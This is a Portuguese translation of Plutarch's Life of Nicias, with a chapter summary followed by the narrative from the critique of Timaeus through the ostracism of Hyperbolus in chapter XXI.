Nícias – ebook das vidas paralelas de Plutarco

Nícias – ebook das vidas paralelas de Plutarco

SUMÁRIO DA VIDA DE NÍCIAS

  • Crítica do historiador Timeu.
  • II. Plano que Plutarco se propôs nesta narração.
  • III. Caráter de Nícias; como êle alcança reputação
  • IV. Magnificência e liberalidade de Nícias.
  • V. Êle liberta um dos seus escravos.
  • VI. Êle leva pomposamente a Delos o coro enviado pela cidade de Atenas, e faz grandes presentes a Apolo.
  • VII. Nícias supersticioso e tímido.
  • VIII. Política de Nícias, para garantir-se contra os sicofantas.
  • IX. Como era êle secundado por um tal Hiéron.
  • X. Nícias não se acha comprometido em nenhum dos reveses que a cidade de Atenas sofre.
  • XI. Diversos êxitos de Nícias.
  • XII. Censura que Cleon lhe faz ã respeito da ilha Esfactéria.
  • XIII. Cleon é nomeado general, para esta expedição, e realiza-a com felicidade.
  • XIV. Gracejos contra Nícias, a tal respeito.
  • XV. Nícias intervém para restabelecer a paz entre Atenas e Lacedemônia.
  • XVI. Honra que esta paz produz a Nícias.
  • XVII. Êle induz os atenienses e os lacedemô-nios a incluir entre os artigos da paz, uma liga ofensiva e defensiva.
  • XVIII. Manejos de Alcibíades para romper a paz.
  • XIX. Nícias vai à Lacedemônia, sem resultado. A guerra recomeça.
  • XX. Tribulações de Nícias e de Alcibíades quanto ao ostracismo.
  • XXI. Eles se unem, e fazem banir Hipérbolo.
  • XXII. Inúteis esforços de Nícias contra o decreto da expedição de Sicília. Êle é nomeado general com Alcibíades e Lâmaco.
  • XXIII. Diversos presságios que não demovem os atenienses do seu propósito.
  • XXIV. Metão e Sócrates conjeturam as funestas conseqüências desta empresa.
  • XXV. Fraqueza displicente de Nícias após haver recebido o comando.
  • XXVI. Os atenienses dispõem-se em combate diante do porto de Siracusa.
  • XXVII. Nícias cai em desprezo pelo modo por que conduz as operações da guerra.
  • XXVIII. Falso aviso com que Nícias engana os siracusanos.
  • XXIX. Êle se apodera do porto de Siracusa.
  • XXX. Vagareza de Nícias. Êle passa o inverno em Naxe.
  • XXXI. Êle cerca quase toda Siracusa.
  • XXXII. Lâmaco é morto.
  • XXXIII. Gilipo chega à Sicília.
  • XXXIV. Êle é recebido em Siracusa.
  • XXXV. Gilipo bate os atenienses.
  • XXXVI. Nícias bate a frota aos sivacusanos.
  • XXXVII. Estes tornam a apresentar-se ao combate.
  • XXXVIII. Os atenienses são derrotados. Demóstenes chega com uma nova frota.
  • XXXIX. Derrota sofrida por Demóstenes.
  • XL. Êle aconselha a retirada. Nícias opõe-se.
  • XLI. Nícias toma o partido da retirada.
  • XLII. Reflexões sobre o eclipse da lua que sobrevêm na ocasião.
  • XLIII. Êle impede a partida de Nícias.
  • XLIV. Ele dispõe-se ao combate.
  • XLV. Êle é derrotado.
  • XLVI. Ardil de Hermócrates, para impedir a partida de Nícias durante a noite.
  • XLVII. Os siracusanos apoderam-se de todas as passagens.
  • XLVIII. Constância e firmeza de Nícias. Demóstenes é apanhado.
  • XLIX. Nícias fica reduzido ao extremo.
  • L. Ele se entrega.
  • LI. Os siracusanos fazem Nícias e Demóstenes perecer.
  • LII. Muitos prisioneiros atenienses devem sua salvação aos versos de Eurípides, muito apreciados pelos sicilianos.
  • LIII. Como a notícia deste acontecimento foi levada a Atenas.

Desde o ano 465, mais ou menos, até o ano 413 antes de Jesus Cristo.

Plutarco – Vidas Paralelas – NÍCIAS

Parecendo-me que, com justiça, eu emparelhei Nícias com Crasso, e estabeleci igualdade entre as calamidades advindas a um contra os partas e a outro na Sicília, peço desculpas aos que se darem ao trabalho de ler estes meus escritos, se expondo os fatos como se passaram, não o faço com a discrição, vivacidade e carinho com que os descreveu Tucídides, mostrando-se tão persuasivo nesta passagem, como não o é em tantas outras, a ponto de tornar-se inimitável. Procurei agir como o historiador Timeu que, esperando exceder Tucídides em persuasão e cultura, e fazer considerar Filisto ignorante, enfadonho e despropositado, busca, em sua história, explanar os combates marítimos e terrestres, e as arengas que um e outro melhor escreveram, aproximando-se tanto deles como um pedestre de um carro de Lídia, no dizer de Píndaro, e mostrando-se homem sem valor, de pouco discernimento, ou, como diz Dífilo,

Gordo e contaminado de sebo da Sicília

Em muitos lugares ele deixa-se transbordar nos disparates de Xenarco, declarando ter sido um mau

presságio para os atenienses, o fato do comandante Nícias, cujo nome deriva da palavra Nice, que significa vitória, ter-se oposto ao ataque à Sicília; que, devido à multidão dos Hermes, isto é, das imagens de Mercúrio, os deuses preveniram-nos que naquela guerra eles sofreriam muitos males, que lhes causaria Hermócrates, comandante dos siracusanos, filho de Hermão; que, além disso, era exato que Hércules favorecesse os siracusanos, devido à deusa Prosérpina, sob cuja proteção está a cidade de Siracusa, graças ao que ela forneceu-lhe o endemoninhado e brutal Cérbero; que, ao contrário, ele desejava mal aos atenienses, por defenderem os Egestais, descendentes dos troianos, seus inimigos de morte, porque, de má fé, e pela injustiça do rei Laomedão, ele destruiu-lhes a cidade. Casualmente, porém, ele tanto tinha bom discernimento em escrever todos estes galanteios, como em censurar o estilo de Filisto, ou em injuriar Platão e Aristóteles.

II. Quanto a mim, parece-me que, em geral, toda esta contenda, e desmedida inveja de quem fala e escreve melhor que os outros, é coisa baixa, que cheira à disputa escolar, e quando ela se destina a combater o que, graças à sua excelência, não pode ser imitado, afigura-se-me rematada loucura. Por isso, sendo-me de todo impossível endossar ou omitir alguns fatos descritos por Tucídides e Filisto, mesmo os que melhor dão a conhecer o caráter e o gênio de Nícias em numerosos grandes acontecimentos, eu passarei de leve por eles, detendo-me unicamente quando a necessidade a tal me obrigue, para que não me considerem preguiçoso e negligente. Deliberei, afinal, tratar dos fatos não comuns a todos, que outros escreveram aqui e ali, e de alguns registros antigos e antiqualhas, urdindo uma narrativa que, suponho, não será inútil, e que muito contribuirá para se conhecer os usos e a natureza do personagem.

III. Antes do mais, portanto, pode-se dizer de Nícias o que Aristóteles escreveu, que houve, em Atenas, três cidadãos, muito virtuosos, que dedicaram ao povo caridade e afeto paternos. Nícias, filho de Nicerato; Tucídides, filho de Milésio; Teramenes, filho de Agnão. Este último menos que os outros dois, porque foi outrora considerado e escarnecido como estrangeiro, oriundo da ilha de Ceos, e por não ter constância e firmeza em assuntos governamentais, pendendo ora para um partido, ora para outro, sendo por isso apelidado Coturno (que é uma espécie de borzeguim, antigamente usado pelos artistas trágicos, que tanto serve para um como para outro pé). Dos outros dois, Tucídides, mais velho, praticou muitos atos bons em favor das pessoas virtuosas e honestas, contra Péricles, que procurava agradar à comuna; Nícias, mais moço, adquiriu alguma estima do próprio Péricles, em vida, obtendo o posto de comandante e outros cargos públicos. Morto Péricles, ele foi conduzido ao cargo mais elevado e de maior autoridade, por obra e graça das pessoas abastadas e de maior conceito social, embora contasse com a boa graça do povo, a fim de servir de barreira à perversidade, ousadia e audácia de Cleon, muito poderoso pelo fato de adular o vulgo, fornecendo-lhe sempre algum meio de vida. Entretanto, mesmo os que ele procurava agradar e recompensar, conhecendo-lhe a avareza, a afrontosa insolência e a temeridade, propendiam para Nícias, de aparência menos austera e enfadonha, dotado de certa timidez que fazia crer que êle temia a presença do povo, e que punha a comuna mais afeiçoada à sua pessoa. Sendo por natureza tímido e desconfiado, esta cobardia, na guerra, foi sempre encoberta pela boa sorte, que nunca deixou de favorecê-lo em todos os empreendimentos em que foi comandante. Além disso, a sua tímida conduta na cidade, de receio dos caluniadores, era considerada popular, e proporcionou-lhe grande estima no seio da população, porque o vulgo geralmente se afasta dos que o desprezam e achega-se aos que o temem, pois a maior honra, que os grandes lhe podem tributar é demonstrar que absolutamente não o desprezam. Deste modo Nícias cresceu cada vez mais no conceito público e em sua autoridade.

IV. Quanto a Péricles, por dirigir todos os negócios públicos com grande probidade, e graças à sua eloqüência, bastava-lhe dar expressão ao rosto ou usar alguma estúcia popular para cair na simpatia do povo. Não possuindo Nícias tais meios, e sim abundancia de bens, ia, por suas virtudes, conquistando a boa graça da multidão. Como Cleon se acomodava fácilmente a tudo e procurava manter a simpatia dos atenienses fazendo-lhes todas as vontades, Nícias, achando tais meios impróprios de sua pessoa, foi entrando no coração do povo por meio de donativos, de gastos com diversões públicas e outras liberalidades semelhantes, superando em gastos suntuosos e agrado de tais passatempos todos os que estiveram antes dele e os que o sucederam. Até hoje existem algumas dádivas que ele consagrou em vida aos deuses, como uma imagem de Palas, que se acha no castelo de Atenas, já sem douradura e um pequeno templo no interior do de Baco, debaixo dos vasos de três pés, que os festeiros oferecem quando conseguem o agrado público, pelos divertimentos que oferecem. Nícias conseguiu a estima pública em todos os passatempos que custeou, e nunca foi vencido.

V. Contam, a tal respeito, que, num desses folguedos por êle custeados, apresentou-se ao público, a animar os foliões, um de seus escravos, transformado em Baco. Tinha lindo rosto, belíssimo aspecto físico, e era ainda imberbe. Os atenienses, em sinal de alegria, bateram prolongadas palmas ao vê-lo, pelo que Nícias levantou-se, e disse bem alto que seria crueldade de sua parte manter na escravidão um homem que publicamente fora considerado parecido com um deus. E no mesmo instante libertou o jovem escravo. Atribuem-lhe também alguns atos de benemerência e de devoção que praticara na ilha de Delos, na qual os coros que as cidades gregas para lá mandavam, para entoar hinos de louvor a Apolo, costumavam desembarcar tumultuàriamente, em desordem, despindo-se e vestindo os trajes adequados num relance, pondo à cabeça os chapéus de flores sem qualquer cuidado. Por isso, o povo, que acorria em massa a recebê-los, obrigava-os a cantar ali mesmo, não atendendo a qualquer formalidade.

VI. Com ele deu-se o contrário, quando foi encarregado de levar o coro de Atenas: primeiro desembarcou na ilha de Rema, muito próxima à de Delos, com seus constas, suas hóstias para sacrificar, e todo o resto de sua equipagem, levando uma ponte que mandara executar em Atenas, da medida do canal existente entre as duas ilhas, ornada de pinturas, de douraduras, de festões, de ramalhetes de triunfo, e de vistosa tapeçaria; à noite êle fêz colocar a ponte no canal, que não é muito largo, e, ao romper do dia, fêz todo o corpo coral passar cantando, magnificamente vestido, e levou a multidão até o templo de Apolo. O banquete e as festas que êle realizou valeram-lhe uma bela e grande palmeira de cobre, que êle ofereceu a Apolo. Isto após o sacrifício. Também comprou ali uma propriedade do valor de mil escudos, que consagrou igualmente ao deus padroeiro da ilha, ordenando que o rendimento da mesma fosse anualmente gasto pelos delia-nos em um sacrifício e banquete público, em que deviam rogar a seu deus pela boa saúde e prosperidade de Nícias. Foi assim que ele mandou escrever e gravar numa coluna que deixou em Delos, como depositária da sua oferenda e instituição. Sendo depois esta palmeira quebrada pelos ventos, caiu sobre a grande estátua que os naxianos haviam doado, jogando-a ao chão.

VII. Há, não resta dúvida, naquele acontecimento, muita pompa, demonstração e ambição de popularidade. Contudo, tomando-se em consideração as fraquezas e a índole do personagem, con-clui-se não ser unicamente para agradar e vanglo-riar-se que ele assim agia, mas também por excesso de devoção, pois, como testemunha de Tucídides, êíe era dos que veneram com temor os deuses e que se entregam totalmente à religião. Acha-se escrito, em um dos diálogos de Pasifão, que diariamente ele imolava aos deuses e mantinha um adivinho vulgar em sua casa, dando a entender que era para avisá-lo do que iria acontecer nos negócios públicos; verdadeiramente, porém, era para inquirir sobre seus próprios negócios e sobre as grandes minas de prata que ele possuía no bairro de Laurião, e que lhe davam boa renda. Sendo as escavações muito perigosas, os escravos que as executavam eram entretidos em contínuas diversões. Sendo a maior parte dos seus haveres constituída de dinheiro de contado, numerosos eram os pedintes que se lhe achegavam, sendo todos socorridos, fossem realmente necessitados ou não. Assim sendo, a sua timidez tornara-se uma fonte de renda tanto para os maus como para os bons e realmente necessitados, conforme no-lo provam os antigos poetas cômicos. Falando de certo caluniador, Teléclidas assim se refere em uma passagem:

Caricies nunca lhe quis dar
Dez escudos, para não o criticar
De ser o mais velho dos filhos de sua mãe,
Primeiro saído de sua bolsa.
E Nicias deu-lhe quarenta.
Assim sendo, embora eu me gabe
De o saber, nada direi.
Estimo-o, e creio que seja homem de bem.

E aquele, que Eupólis põe em ridículo em sua comédia intitulada Maricas, perguntando a um homem pobre e simplório:

O caluniador:

Há quanto tempo
Não falas com Níciass?

O bom homem:

Só vi-lhe a cara Outro dia, na praça.

O caluniador:

Este homem me confessa havê-lo visto. Visto, porém, que o conhece, por que é . Que só o viu de passagem,

Se não deseja armar-nos traição? E vos fiz ouvir, meus amigos, Como considerei Níciass no caso.

O autor:

Insensatos, esperais surpreender
Um homem tão honesto em falta censurável?

Cleon, ameaçando, na comédia de Aristófanes, intitulada os Cavaleiros, diz estas palavras:

Eu pegaria os arengueiros pela garganta,
E deixaria Nícias espantado.

O próprio Frínico dá a entender que ele era tão medroso e fácil de assustar-se, quando diz, referindo-se a outrem:

Êle era bom cidadão, não indigno
Nem perverso como anda Níciass.

VIII. Sendo muito crente por natureza, e receando dar aos arengueiros qualquer oportunidade de caluniá-lo, êle retraiu-se a ponto de não ousar beber nem comer com qualquer pessoa da cidade, e muito menos matar o tempo com os companheiros em divertimentos de qualquer espécie. Quando em exercício, ele não se afastava do palácio, preocupando-se com os seus afazeres desde a manhã até à noite, sendo sempre o primeiro a chegar e o último a retirar-se. Quando ele não tinha nenhum serviço público a realizar, tornava-se inacessível, impossível de se lhe falar, porque conservava-se fechado em sua casa. Aos que iam procurá-lo, alguns dos seus amigos pediam que o desculpassem não poder recebê-los, porquanto achava-se muito atarefado com os negócios públicos. Quem mais o ajudava neste retraimento, e punha em maior destaque a sua reputação e circunspecção, era Hiéron, que fora criado por Nícias e por êle instruído em letras e na música. Êle dizia-se filho de certo Dionísio, cognominado Chalco, do qual ainda existem alguns trabalhos poéticos, e que, como comandante de um regimento que mandaram para guarnecer a Itália, fundou ali a cidade de Tunas.

IX. Este Hiéron, pois, assistiu-o e ajudou-o a indagar secretamente o que êle desejava saber dos adivinhos, espalhando pelo povo "Que Nícias levava uma vida miserável e muito estafante, pelo cuidado que dedicava aos negócios públicos, a ponto de, quer no banho, bebendo ou comendo, ter o pensamento sempre fixo em algum caso referente à cidade, abandonando seus interesses em favor dos negócios públicos, de modo que só começava a dormir quando os outros geralmente acabavam seu primeiro sono; que sua pessoa, com isso, definhava dia a dia, tornando-se intratável e grosseiro até com os seus íntimos amigos. Estes hábitos, dizia, ele os irá perdendo com seus haveres, por haver-se envolvido na direção dos negócios públicos, na qual os outros enriquecem, adquirem amigos, boa reputação, pela facilidade com que são ouvidos pelo povo, valendo-se da boa oportunidade que lhes fornece a direção dos negócios públicos". A vida de Nícias era realmente tal, que ele podia repetir o que o rei Aga-menão dissera de si mesmo, na tragédia de Eurípides, denominada Ifigênia em Áulida:

Aparentemente vivemos na grandeza,
Mas na realidade servimos ao povo.

X.Vendo que o povo, em algumas coisas valia-se da capacidade dos eloqüentes, ou dos que possuíam mais juízo, embora desconfiasse de sua capacidade e se acautelasse, diminuindo-lhes a coragem e a autoridade; e, sabedor da condenação de Péricles, do banimento de Damão, da suspeita levantada contra Antifão Ramnusiano; e do que fizeram a Paches, o que tomou a ilha de Lesbos, o qual, sendo entregue à justiça para dar contas de sua atuação, em pleno julgamento desembainhou a espada e matou-se publicamente. Nícias, considerando tudo isto, evitava os encargos muito difíceis ou muito fáceis; e, quando aceitava algum, tinha sempre o maior cuidado de nada adiantar, e dirigia-se resolutamente ao trabalho. Deste modo, como é fácil supor, a maior parte dos casos que ele chamava a si tinham feliz êxito. Contudo, êle nada atribuía à sua capacidade, sabedoria e virtude, e sim à felicidade e à proteção dos deuses, satisfazendo-se em diminuir sua glória, para fugir à inveja. Os acontecimentos havidos naquele tempo demonstram que, tendo a cidade de Atenas passado, a seu tempo, por grandes e tremendos abalos, êle não participou de nenhum deles, pois os atenienses foram derrotados uma vez na Trácia, pelos calcidianos sob as ordens de Calíades e de Xenofão, seus comandantes, e outra na Etólia, sob o comando de Demóstenes. Perto de Delião, cidade da Beócia, perderam mil homens, numa derrota, sendo seu chefe Hipócrates. Quanto à peste, atribuíram a maior parte da culpa a Péricles, que, devido à guerra, encerrou nas muralhas da cidade todos os camponeses, onde, ou devido à mudança de lugar, ou de modo de vida, faleceram de moléstia contagiosa.

XI. Disto tudo, nada se imputa a Nícias. Pelo contrário, sendo comandante, êle se apoderou da ilha de Cítera, em situação muito adequada a arruinar o país da Lacônia, habitado por lacede-mônios; reconquistou muitos lugares que se haviam rebelado na Trácia, reconduzindo-os ao domínio de Atenas; e, aprisionando os megarianos em suas muralhas, apoderou-se da ilha de Minoa. Ao partir dali, logo depois tomou também o porto de Niseia; e, desembarcando no país dos coríntios, derrotou os que lhe foram ao encontro, matando bom número deles, inclusive o comandante Licofrão. Neste encontro aconteceu esquecer-se de inumar dois dos seus homens mortos, cujos corpos não encontrou, ao recolher os outros. Prevenido disso, ele sustou a partida e mandou um arauto pedir aos inimigos permissão para recolher os corpos. Como, por uso de guerra, os que pedissem tal permissão perdiam o direito à vitória, em favor dos vencidos, possuidores dos cadáveres, ele preferiu estes ao título e honras de vencedor. Depois de percorrer e apoderar-se de toda a costa da Lacônia, e de haver derrotado alguns lacedemônios que se decidiram a atacá-lo, tomou a cidade de Tireia, então habitada por eginetas, levando estes prisioneiros para Atenas.

XII. Tendo os peloponesianos preparado grandes exércitos e armadas para atacar o forte de Pile, que o comandante Demóstenes havia fortificado, no combate marítimo aconteceu permanecerem na ilha Esfactéria quatrocentos espartanos. Os atenienses pensaram prestar-lhes um grande benefício, como de fato era, em apanhá-los vivos. Mas, sendo o sítio bastante difícil, devido à falta de água em pleno verão, e sendo necessário fazer longo trajeto, para levar-lhes víveres ao acampamento, e ainda assim só no inverno e com grande risco, eles ficaram muito aborrecidos, arrependendo-se amargamente de haver despedido a embaixada dos lacedemônios que fora ter com eles para tratar do acordo, sem nada decidir, devido à oposição de Cleon, que resistiu principalmente para desagradar a Nícias, seu inimigo, que concordava muito afetuosamente com o que os lacedemônios pediam. Cleon induziu os atenienses a recusar a oferta de paz e o acordo que eles foram apresentar. Mas depois, vendo que o sítio perdurava e que o acampamento sofria graves necessidades, o povo começou a irritar-se contra Cleon, que jogou toda a culpa a Nícias, declarando que a sua desídia e cobardia faziam os sitiados fugir, e, que se ele fosse o comandante, o caso não duraria tanto tempo. "E que esperas, até agora, que não os vais buscar?", gritaram-lhe os atenienses. Nícias levantou-se, e declarou em voz alta que voluntariamente ele cedia toda a carga daquela empresa de Pile, podendo levar quanta gente quisesse, para realizar de fato algum bom serviço à coisa pública, ao invés de gabar-se com palavras atrevidas, isentas de qualquer perigo.

XIII.A princípio Cleon recuou um tanto admirado, porque nunca supôs que o apanhassem tão de repente. Todavia, vendo que o povo o obrigava, e que Nícias gritava atrás dele, a ambição excitou-o e inflamou-o, e ele não só aceitou o posto de comandante como declarou que, vinte dias após sua chegada nos lugares, ou mataria todos os sitiados, ou os levaria prisioneiros a Atenas. Ouvindo-o, os atenienses tiveram mais vontade de rir do que de acreditá-lo, pois já se haviam habituado a levar em troça as suas bravatas e a rir-se de sua valentia. Contam que, num dia de reunião pública, em que ele devia discursar, o povo acudiu ao local desde cedo, esperando-o longamente. Chegando muito tarde, com um chapéu de flores à cabeça, ele pediu à assistência que consentisse em transferir a assembléia para o dia seguinte: "Porque, declarou, hoje sou obrigado a banquetear alguns amigos estrangeiros que vieram visitar-me, e que fizeram um sacrifício aos deuses". O povo riu-se e retirou-se. No entanto a sorte favoreceu-o então, e êle portou-se tão bem com Demóstenes nesta tarefa, que, ao fim do prazo estabelecido, apanhou todos os sitiados, menos os que foram mortos em combate, e, obrigando-os a depor as armas, levou-os prisioneiros a Atenas.

XIV. Isto depôs bastante contra Nícias porque êle não foi considerado como simples renuncia-dor das armas, mas foi julgado muito pior, como cobarde ignominioso, por ter, por falta de coragem, entregue a um seu inimigo, voluntária e pessoalmente, as honras de comandante, deixando-o praticar tão grande e belo cometimento. É a razão por que Aristófanes zomba na comédia dos Pássaros, dizendo:

Não é, com efeito, hora de cochilar,
Nem de encolher-se, como fez Nícias.

Em outra passagem da comédia dos Trabalhadores, ele diz:

Quero tornar-me trabalhador do campo.
Quem te impede de o fazer?
Vós, pois eu dou publicamente
Cem escudos de ouro, se me isentarem
De toda obrigação e jurisdição.
Aceitamos a oferta e a condição,
Pois, com os que por Nícias foram
Pagos, duzentos são honestos.

Mas o pior é que, assim procedendo, ele causou grande dano à administração pública, porque deu motivo a que Cleon adquirisse grande reputação, estima e autoridade, e se tornasse tão audaz e pretensioso que ninguém mais o deteve, causando inúmeros males à cidade, sendo Nícias a sua maior vítima. Foi ele quem, entre outras coisas, aboliu todo o decoro e acatamento antes observados nos discursos proferidos ao povo, pois foi o primeiro a vociferar, a bater com a mão na coxa, rasgando a dianteira de sua beca, correndo pela tribuna a falar numa linguagem imoderada, licenciosa, despida de toda honestidade, na qual imergiram os oradores e árbitros dos negócios, causando completa ruína à cidade.

XV. A esse tempo Alcibíades já começava a pôr-se em destaque, e a intervir nos negócios públicos, que não se achavam tão corrompidos nem tão arruinados como se poderia supor, e sim, como disseram da terra do Egito, que, por sua fertilidade,

Produzia misturas de drogas
Medicinais, ruins e boas.

Sendo Alcibíades de compleição robusta e forte em todos os sentidos, deu origem a muitos atentados, que impediram que Nícias, embora livre de Cleon, reconduzisse Atenas à paz e à tranqüilidade, e se visse de novo a braços com a guerra, devido à veemência e irrefreável ambição de Alcibíades. Os que mais embaraçavam a paz e a tranqüilidade da Grécia eram Cleon e Brásidas, porque a guerra servia de pretexto à perversidade de um e elevava a virtude de outro, dando a um justificativa e meio de praticar as maiores atrocidades e a outro de produzir belos e gloriosos feitos guerreiros. Mortos os dois em combate perto de Anfípolis, na Trácia, Nícias procurou sem demora os espartanos, que há muito almejavam a paz, e os atenienses, também enfastiados de guerra, e estudou meios de fazer com que as duas cidades, Atenas e Esparta, voltassem a ser amigas, e que todos os outros gregos ficassem igualmente livres da guerra, para que, dali por diante, vivessem em verdadeira e santa paz, e na maior felicidade. As pessoas abastadas, os velhos e toda a multidão de trabalhadores manifestaram-se sem demora favoráveis aos seus desejos, e os mais renitentes acabaram cedendo às suas razões. Deste modo, garantindo aos de Esparta que tudo estava bem disposto para a paz, se fosse esta do seu agrado, os espartanos não duvidaram da sua palavra, porque sempre o consideraram honesto, bom e pacífico, e viram o trato carinhoso e humano por ele dispensado aos prisioneiros que fizera no forte de Pile, tornan-do-lhes a amargura da prisão fácil de ser suportada.

XVI.Logo estabeleceu-se entre eles uma trégua de um ano, durante a qual voltaram novamente a visitar-se reciprocamente, e a gozar da paz e segurança de poder livremente ir ver suas hostes e amigos estrangeiros; começaram a desfrutar uma vida bastante tranqüila e agradável, sem manchar suas mãos de sangue humano, sentindo prazer em cantar, nas festas, os versos

Fique deitada minha lança no cabide,
E nela se agarre a teia de aranha.

Lembravam-se também, espontaneamente e com alegria, de quem dizia que na paz o som das trombetas não devia acordar os que dormiam, coisa que competia ao canto dos galos, e amaldiçoavam e desprezavam os que apregoavam estar escrito que a guerra duraria vinte e sete anos. Assim, entrando em ajuste sobre tudo, eles fizeram as pazes, certos de haver firmemente chegado ao termo de todos os males, e não falavam senão de Nícias, que diziam ser querido dos deuses, e graças a quem eles lhes concederam o mais belo e o maior bem do mundo, que correspondia ao seu nome querido. Não havia quem não considerasse tal paz obra exclusiva de Nícias, pois a guerra fora provocada por Péricles, que, por motivos insignificantes, induziu os gregos a graves calamidades. Nícias, pelo contrário, fê-los tornarem-se amigos e esquecer os grandes males produzidos por ambas as partes na guerra finda, pelo que aquele tratado denomina-se hoje Nícium, isto é, a paz de Nícias.

XVII. Por uma cláusula das condições de paz, eles devolveriam, reciprocamente, as cidades, terras e lugares que haviam conquistado durante a guerra, bem como os prisioneiros, devendo ser sorteado o que devia começar a fazê-lo. Escreve Teofrasto que êle aceitou a sorte à força de muito dinheiro, sob a condição de serem os lacedemônios os iniciadores da devolução das conquistas. Descontentes com isto, os coríntios e beócios declararam recomeçar a guerra, pelo que Nícias convenceu os atenienses e os lacedemônios a reforçar sua paz com uma nova aliança e liga ofensiva e defensiva, para uma união mais firme, a fim de que uns e outros pudessem agir com maior probabilidade de êxito contra os que quisessem sublevar-se ou rebelar-se contra eles.

XVIII. Tudo isto era realizado contra a vontade de Alcibíades, que, além de ser pouco propenso à paz, odiava os lacedemônios, por vê-los tão aferrados a Nícias e dedicarem-lhe a maior consideração, e não lhe ligarem, a êle Alcibíades, a menor importância, em sinal de desprezo. Por isso, desde o início êle procurou impedir a realização da paz, sem nada conseguir. Pouco depois, notando que os atenienses não se achavam tão satisfeitos com os lacedemônios como dantes, por acharem injusto fazerem nova aliança sem eles com os beócios e não entregarem, de acordo com o tratado de paz, as cidades de Panete e de Anfípolis, êle começou a atiçar e a aumentar-lhes as queixas, bem como a exasperar o povo de cada uma delas. Por fim, tendo conseguido que uma embaixada de Argos fosse a Atenas, êle desenvolveu tão bem suas artimanhas que os atenienses estabeleceram com ela a liga ofensiva e defensiva. Neste ínterim, porém, chegaram a Atenas outros embaixadores da Lacede-mônia, com plenos poderes para se opor a tal liga, os quais falando no Senado, só propuseram coisas honestas e razoáveis. Certo de que, se eles propusessem tais coisas perante o povo, fatalmente o arrastariam a seu favor, Alcibíades iludiu os pobres embaixadores, prometendo e jurando ajudá-los em tudo quanto desejavam, se demonstrassem e confessassem em público nao ter plenos poderes para agir, garantindo-lhes sei o meio mais seguro de alcançarem os fins desejados. Os embaixadores acreditaram-no, e volveram-se para ele, abandonando Nícias. Alcibíades levou-os à assembléia popular, onde perguntou-lhes alto e claramente se possuíam plenos poderes para tratar e concordar sobre todos os assuntos. À resposta negativa, ele apelou para o testemunho dos do Senado, de como lhes haviam dito o contrário, e aconselhou o povo a desconfiar de pessoas mentirosas, que a uns diziam uma coisa e a outros outra. Os embaixadores ficaram pasmos, e o próprio Nícias não soube o que dizer, confundido e enojado com tão inesperado acontecimento. O povo ficou tão revoltado que resolveu chamar à sua presença os embaixadores de Argos, para concluir com eles a liga. Súbito, porém, sobreveio um tremor de terra, que valeu a Nícias e dissolveu a assembléia. No dia seguinte, reunida de novo a assembléia, antes que o conselho tomasse qualquer deliberação, o povo exigiu que fosse concluída a liga com os argeus, até à volta do embaixador mandado aos lacedemônios, com a promessa formal de que tudo seria resolvido a contento.

XIX. Em Esparta receberam-no como pessoa distintíssima, tratando-o com o maior carinho, pois consideravam-no ser-lhes muito afeiçoado. Apesar disso, ele nada pôde fazer; e, sendo vencido pelos que favoreciam os beócios, regressou a Atenas do mesmo modo com que partira, onde não só foi mal recebido e desacatado, como correu risco de vida, devido à fúria do povo, que, a seu pedido e conselho, entregara os numerosos prisioneiros transportados de Pile, todos da melhor estirpe de Esparta, parentes e amigos dos principais personagens da cidade. Como derradeira afronta à sua pessoa, o povo obrigou-o a nomear Alcibíades comandante e a fazer aliança com os elianos e mantmianos, que se haviam rebelado contra os lacedemônios, bem como com os argeus, e mandou facínoras a Pile, para danificar a Lacônia. Razão por que a guerra recomeçou.

XX. Ora, quando a desavença e a luta entre Alcibíades e Nícias chegou ao extremo, venceu o prazo do ostracismo, isto é, de um degredo a que o povo submetia, em época determinada, durante dez anos, o cidadão que não lhe inspirasse confiança ou que fosse invejado por suas riquezas. Estes dois personagens ficaram então bastante inquietos, ante o risco que corriam, de ser um deles atingido pelo banimento, pois o povo detestava a vida de Alcibíades e temia a sua audácia, conforme amplamente declaramos em sua vida, e invejava Nícias por suas riquezas, achando-lhe estranho o modo de vida, e considerando-o insociável e orgulhoso. Nícias, além disso, tornara-se odiado, por haver-se negado, em várias circunstâncias, a satisfazer os desejos do povo, obrigando-o a retornar, a contragosto, ao que lhe era útil. Em resumo, e falando claramente, estabelecera-se uma luta entre os moços, que queriam a guerra e conseguintemente a expulsão de Nícias, e os velhos, que desejavam a paz, bem como o degredo de Alcibíades. Ora, como

Quando a discórdia reina numa cidade,
O pior elemento assume o governo,

a luta existente entre o povo de Atenas deu acesso ao poder a alguns dos elementos mais audaciosos e viciados da cidade, entre os quais havia um tal Hipérbolo, do burgo de Perito, na Ática, homem sem reputação e sem valor, que só pela audácia se impusera à estima pública, coisa que muito depôs contra sua terra.

XXI. Considerando-se bastante distanciado do perigo do desterro, embora soubesse ser, por seus méritos, mais digno de ser levado aos cepos do que de estar ao lado das pessoas de bem, e, certo de que, banido Nícias ou Alcibíades, ele ascenderia ao posto mais elevado do governo, não só demonstrava abertamente a satisfação que lhe causava a animosidade entre os dois como procurava irritar cada vez mais o povo contra eles. Conhecendo a sua maldade, Nícias e Alcibíades confabularam secretamente, harmonizaram as duas facções em luta, tornando-se mais poderosos que nunca, e o degredo a que estavam ameaçados foi cair sobre o próprio Hipérbole No momento, ô povo recebeu o caso com grandes gargalhadas e a maior demonstração de alegria; depois, porém, caiu em desaponto, considerando uma afronta à lei do banimento e uma honra para Hipérbolo aplicar-lhe tal castigo, nivelando um homem indigno a um Tucídides, a um Aristides, e a outros personagens semelhantes, dando-lhe ensejo de vangloriar-se de, por sua malvadez, sofrer o mesmo castigo das pessoas dignas e de grande valor. E o que o poeta cômico Platão diz em uma passagem:

Embora seus costumes tenham, na verdade,
Acertadamente merecido aquilo, e pior,
O certo é que ele, pessoa de tão vil
Condição, e de origem mesquinha,
Não era digno de tal, pois ideado
Para tais indivíduos não foi o Ostracismo.

Também nunca houve quem fosse exilado assim; de modo que Hipérbolo foi o último e Hiparco Colargiano o primeiro, por ser parente do tirano. Mas a sorte não é coisa com que se possa contar com segurança, nem compreender, por mais que se procure. Se Nícias se houvesse exposto abertamente à sorte deste banimento contra Alcibíades, a um dos dois aconteceria permanecer na cidade, expulsando o adversário, se o vencesse, ao invés de cair em extrema miséria, como lhe aconteceu depois; e, no caso de ser vencido, conservaria a fama de comandante muito prudente e assisado. Não ignoro que Teofrasto escreveu que Hipérbolo foi banido devido à discórdia existente entre Fárax e Alcibíades, não figurando Nícias no caso. A maior parte dos historiadores, porém, relata o que eu disse.

